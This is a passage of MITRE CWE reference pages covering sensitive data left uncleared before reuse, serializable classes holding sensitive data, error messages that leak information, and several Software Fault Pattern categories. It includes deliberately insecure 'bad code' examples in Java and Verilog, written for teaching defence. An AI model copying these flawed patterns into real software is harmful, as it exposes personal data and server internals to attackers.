p_c[0] <= 0;
p_c[1] <= 0;
p_c[2] <= 0;
p_c[3] <= 0;
end
else if(en && we)
case(address[8:3])
...
endcase
end // always @ (posedge wb_clk_i)
endmodule

+ Observed Examples
ReferenceDescription
Cryptography library does not clear heap memory before release
Ethernet NIC drivers do not pad frames with null bytes, leading to infoleak from malformed packets.
router does not clear information from DHCP packets that have been previously used
Products do not fully clear memory buffers when less data is stored into the buffer than previous.
Products do not fully clear memory buffers when less data is stored into the buffer than previous.
Products do not fully clear memory buffers when less data is stored into the buffer than previous.
Product does not clear a data structure before writing to part of it, yielding information leak of previously used memory.
Memory not properly cleared before reuse.
+ Potential Mitigations

Phases: Architecture and Design; Implementation

During critical state transitions, information not needed in the next state should be removed or overwritten with fixed patterns (such as all 0's) or random data, before the transition to the next state.

Effectiveness: High

Phases: Architecture and Design; Implementation

When releasing, de-allocating, or deleting a resource, overwrite its data and relevant metadata with fixed patterns or random data. Be cautious about complex resource types whose underlying representation might be non-contiguous or change at a low level, such as how a file might be split into different chunks on a file system, even though "logical" file positions are contiguous at the application layer. Such resource types might require invocation of special modes or APIs to tell the underlying operating system to perform the necessary clearing, such as SDelete (Secure Delete) on Windows, although the appropriate functionality might not be available at the application layer.

Effectiveness: High

+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Manual Analysis

Write a known pattern into each sensitive location. Trigger the release of the resource or cause the desired state transition to occur. Read data back from the sensitive locations. If the reads are successful, and the data is the same as the pattern that was originally written, the test fails and the product needs to be fixed. Note that this test can likely be automated.

Effectiveness: High

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Functional Areas
  • Memory Management
  • Networking
+ Affected Resources
  • Memory
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.729OWASP Top Ten 2004 Category A8 - Insecure Storage
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.742CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.876CERT C++ Secure Coding Section 08 - Memory Management (MEM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1416Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

There is a close association between CWE-226 and CWE-212. The difference is partially that of perspective. CWE-226 is geared towards the final stage of the resource lifecycle, in which the resource is deleted, eliminated, expired, or otherwise released for reuse. Technically, this involves a transfer to a different control sphere, in which the original contents of the resource are no longer relevant. CWE-212, however, is intended for sensitive data in resources that are intentionally shared with others, so they are still active. This distinction is useful from the perspective of the CWE research view (CWE-1000).

Research Gap

This is frequently found for network packets, but it can also exist in local memory allocation, files, etc.

Maintenance

This entry needs modification to clarify the differences with CWE-212. The description also combines two problems that are distinct from the CWE research perspective: the inadvertent transfer of information to another sphere, and improper initialization/shutdown. Some of the associated taxonomy mappings reflect these different uses.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERSensitive Information Uncleared Before Use
CERT C Secure CodingMEM03-CClear sensitive information stored in reusable resources returned for reuse
Software Fault PatternsSFP23Exposed Data
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Contributions
Contribution DateContributorOrganization
2023-11-29
(CWE 4.14, 2024-02-29)
Rahul Kande, Chen Chen, Jeyavijayan RajendranTexas A&M University
suggested demonstrative example
2023-11-29
(CWE 4.14, 2024-02-29)
Mohamadreza Rostami, Shaza Zeitouni, Ahmad-Reza SadeghiTechnical University of Darmstadt
suggested demonstrative example
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2008-10-14CWE Content TeamMITRE
updated Relationships
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Relationships
2009-05-27CWE Content TeamMITRE
updated Relationships
2009-10-29CWE Content TeamMITRE
updated Description, Other_Notes
2010-02-16CWE Content TeamMITRE
updated Applicable_Platforms, Maintenance_Notes, Relationship_Notes
2010-09-27CWE Content TeamMITRE
updated Relationships
2010-12-13CWE Content TeamMITRE
updated Description
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Causal_Nature, Functional_Areas, Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Applicable_Platforms, Description, Name, Relationships, Time_of_Introduction, Weakness_Ordinalities
2020-08-20CWE Content TeamMITRE
updated Description, Name, Related_Attack_Patterns, Relationships
2021-10-28CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Detection_Factors, Maintenance_Notes, Potential_Mitigations, Relationships, Research_Gaps
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples, References
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Sensitive Information Uncleared Before Use
2020-02-24Sensitive Information Uncleared Before Release
2020-08-20Sensitive Information Uncleared in Resource Before Release for Reuse

CWE-499: Serializable Class Containing Sensitive Data

Weakness ID: 499
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The code contains a class with sensitive data, but the class does not explicitly deny serialization. The data can be accessed by serializing the class through another class.
+ Extended Description
Serializable classes are effectively open classes since data cannot be hidden in them. Classes that do not explicitly deny serialization can be serialized by any other class, which can then in turn use the data stored inside it.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.668Exposure of Resource to Wrong Sphere
CanPrecedeClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.200Exposure of Sensitive Information to an Unauthorized Actor
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Java (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

an attacker can write out the class to a byte stream, then extract the important data from it.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

This code creates a new record for a medical patient:

(bad code)
Example Language: Java 
class PatientRecord {
private String name;
private String socialSecurityNum;
public Patient(String name,String ssn) {
this.SetName(name);
this.SetSocialSecurityNumber(ssn);
}
}

This object does not explicitly deny serialization, allowing an attacker to serialize an instance of this object and gain a patient's name and Social Security number even though those fields are private.

+ Potential Mitigations

Phase: Implementation

In Java, explicitly define final writeObject() to prevent serialization. This is the recommended solution. Define the writeObject() function to throw an exception explicitly denying serialization.

Phase: Implementation

Make sure to prevent serialization of your objects.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.858The CERT Oracle Secure Coding Standard for Java (2011) Chapter 15 - Serialization (SER)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1148SEI CERT Oracle Secure Coding Standard for Java - Guidelines 14. Serialization (SER)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1403Comprehensive Categorization: Exposed Resource
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPInformation leak through serialization
The CERT Oracle Secure Coding Standard for Java (2011)SER03-JDo not serialize unencrypted, sensitive data
The CERT Oracle Secure Coding Standard for Java (2011)SER05-JDo not serialize instances of inner classes
Software Fault PatternsSFP23Exposed Data
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Description, Relationships, Taxonomy_Mappings
2009-07-27CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Demonstrative_Examples
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Relationships
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2021-03-15CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Information Leak through Serialization

CWE-550: Server-generated Error Message Containing Sensitive Information

Weakness ID: 550
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
Certain conditions, such as network failure, will cause a server error message to be displayed.
+ Extended Description
While error messages in and of themselves are not dangerous, per se, it is what an attacker can glean from them that might cause eventual problems.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.209Generation of Error Message Containing Sensitive Information
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1016Limit Exposure
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

+ Potential Mitigations

Phases: Architecture and Design; System Configuration

Recommendations include designing and adding consistent error handling mechanisms which are capable of handling any user input to your web application, providing meaningful detail to end-users, and preventing error messages that might provide information useful to an attacker from being displayed.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1417Comprehensive Categorization: Sensitive Information Exposure
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
Anonymous Tool Vendor (under NDA)
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2011-03-29CWE Content TeamMITRE
updated Name, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Name, Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2011-03-29Information Leak Through Server Error Message
2020-02-24Information Exposure Through Server Error Message

CWE-536: Servlet Runtime Error Message Containing Sensitive Information

Weakness ID: 536
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
A servlet error message indicates that there exists an unhandled exception in your web application code and may provide useful information to an attacker.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.211Externally-Generated Error Message Containing Sensitive Information
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

The error message may contain the location of the file in which the offending function is located. This may disclose the web root's absolute path as well as give the attacker the location of application files or configuration information. It may even disclose the portion of code that failed. In many cases, an attacker can use the data to launch further attacks against the system.
+ Demonstrative Examples

Example 1

The following servlet code does not catch runtime exceptions, meaning that if such an exception were to occur, the container may display potentially dangerous information (such as a full stack trace).

(bad code)
Example Language: Java 
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String username = request.getParameter("username");

// May cause unchecked NullPointerException.
if (username.length() < 10) {
...
}
}
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1417Comprehensive Categorization: Sensitive Information Exposure
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
Anonymous Tool Vendor (under NDA)
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2009-10-29CWE Content TeamMITRE
updated Common_Consequences
2011-03-29CWE Content TeamMITRE
updated Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Other_Notes
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Name, Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2011-03-29Information Leak Through Servlet Runtime Error Message
2020-02-24Information Exposure Through Servlet Runtime Error Message

CWE CATEGORY: SFP Primary Cluster: Access Control

Category ID: 899
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Access Control cluster (SFP35).
+ Membership
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).888Software Fault Pattern (SFP) Clusters
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.944SFP Secondary Cluster: Access Management
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.945SFP Secondary Cluster: Insecure Resource Access
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.946SFP Secondary Cluster: Insecure Resource Permissions
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2012-03-22
(CWE 2.2, 2012-05-14)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2014-07-30CWE Content TeamMITRE
updated Name, Relationships
2020-02-24CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2014-07-31SFP Cluster: Access Control

CWE CATEGORY: SFP Primary Cluster: API

Category ID: 887
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the API cluster (SFP3).
+ Membership
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).888Software Fault Pattern (SFP) Clusters
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1001SFP Secondary Cluster: Use of an Improper API
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2012-03-22
(CWE 2.2, 2012-05-14)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2014-07-30CWE Content TeamMITRE
updated Name, Relationships
2020-02-24CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2014-07-31SFP Cluster: API

CWE CATEGORY: SFP Primary Cluster: Authentication

Category ID: 898
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Authentication cluster (SFP29, SFP30, SFP31, SFP32, SFP33, SFP34).
+ Membership
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).888Software Fault Pattern (SFP) Clusters
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.947SFP Secondary Cluster: Authentication Bypass
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.948SFP Secondary Cluster: Digital Certificate
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.949SFP Secondary Cluster: Faulty Endpoint Authentication
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.950SFP Secondary Cluster: Hardcoded Sensitive Data
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.951SFP Secondary Cluster: Insecure Authentication Policy
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.952SFP Secondary Cluster: Missing Authentication
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.953SFP Secondary Cluster: Missing Endpoint Authentication
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.954SFP Secondary Cluster: Multiple Binds to the Same Port
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.955SFP Secondary Cluster: Unrestricted Authentication
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2012-03-22
(CWE 2.2, 2012-05-14)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2013-07-17CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Name, Relationships
2020-02-24CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2014-07-31SFP Cluster: Authentication

CWE CATEGORY: SFP Primary Cluster: Channel

Category ID: 902
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Channel cluster.
+ Membership
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).888Software Fault Pattern (SFP) Clusters
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.956SFP Secondary Cluster: Channel Attack
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.957SFP Secondary Cluster: Protocol Error
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2012-03-22
(CWE 2.2, 2012-05-14)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2014-07-30CWE Content TeamMITRE
updated Name, Relationships
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2014-07-31SFP Cluster: Channel

CWE CATEGORY: SFP Primary Cluster: Cryptography

Category ID: 903
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Cryptography cluster.
+ Membership
NatureTypeIDName
